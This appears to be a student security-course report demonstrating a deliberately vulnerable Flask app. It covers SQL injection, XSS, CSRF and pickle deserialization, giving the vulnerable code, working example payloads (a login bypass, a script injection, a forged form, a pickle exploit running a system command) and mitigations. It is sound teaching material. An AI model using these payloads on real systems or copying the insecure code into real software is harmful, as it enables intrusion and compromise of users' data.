THE UNIVERSITY OF DODOMA
COLLEGE OF INFORMATICS AND VIRTUAL EDUCATION
DEPARTMENT OF COMPUTER SCIENCE AND ENGINEERING(CSE)
COURSE TITTLE: SECURE SYSTEM DEVELOPMENT
COURSE CODE: IA 326
GROUP 1 PRACTICAL: VULNERABILITY TEST ON WEB FRAMEWORK
Vulnerable Flask Application - Security Demonstration Report
Introduction
This report outlines a practical demonstration of common web application vulnerabilities using a
custom-built Flask application. The goal is to simulate real-world attack scenarios and understand how
such vulnerabilities can be exploited. The application contains intentionally vulnerable code for
educational and testing purposes.
Environment Setup
Requirements
• Python 3.13+
• pip / venv packages (python3.13-venv, python3-pip)
• Flask
• SQLite3
Installation Steps
sudo apt install python3.13-venv python3-pip -y
python3 -m venv malware-env
source malware-env/bin/activate
pip install -r [Link]
Database Initialization
Run the following script to initialize the database:
python init_db.py
This script creates a [Link] SQLite file with the following users:
• admin / admin123
• user1 / pass1
Run the Application
python [Link]
Access the web app in your browser at [Link]
Vulnerability Demonstrations
1. SQL Injection (SQLi)
• Endpoint: /login
• Vulnerable Code:
query = f"SELECT * FROM users WHERE username = '{username}' AND password =
'{password}'"
• Exploit Payload:
Username: ' OR '1'='1
Password: anything
• Impact: Bypasses login authentication.
2. Cross-Site Scripting (XSS)
• Endpoint: /comment
• Vulnerable Code:
return f"<p>{name}: {comment}</p>"
• Exploit Payload:
<script>alert('XSS');</script>
• Impact: Executes arbitrary JavaScript in victim's browser.
3. Cross-Site Request Forgery (CSRF)
• Endpoint: /change-email
• Vulnerable Behavior: No CSRF protection (e.g., tokens).
• Exploit HTML:
<form action="[Link] method="POST">
<input type="hidden" name="email" value="attacker@[Link]">
<input type="submit" value="Submit">
</form>
• Impact: Forces user to change their email without consent.
4. Insecure Deserialization
• Endpoint: /deserialize
• Vulnerable Code:
obj = [Link]([Link](data))
• Exploit:
import pickle, os
class Evil:
def __reduce__(self):
return ([Link], ("gnome-calculator",))
payload = [Link](Evil()).hex()
print(payload)
Submit the hex string via the form.
• Impact: Launches GNOME Calculator, demonstrating arbitrary code execution on the system.
Observations
Vulnerability Severity Exploitable Remotely Mitigation Required
SQLi High Yes Use parameterized queries
XSS High Yes Escape and sanitize output
CSRF Medium Yes Use CSRF tokens, verify origin headers
Deserialization Critical Yes Avoid pickle for untrusted input
Recommendations
1. Sanitize All User Inputs – Prevent injection and script execution.
2. Use ORM or Parameterized Queries – Protect against SQL injection.
3. Implement CSRF Tokens – Especially for sensitive POST forms.
4. Avoid Insecure Libraries – Do not use [Link] on untrusted data.
5. Use Security Linters & Scanners – e.g., Semgrep, Bandit.
Conclusion
This exercise highlights the importance of secure coding practices in web development. Each
vulnerability here is commonly found in real applications and can lead to serious compromise. It is
essential for developers and security professionals to understand both the attack and mitigation
techniques.
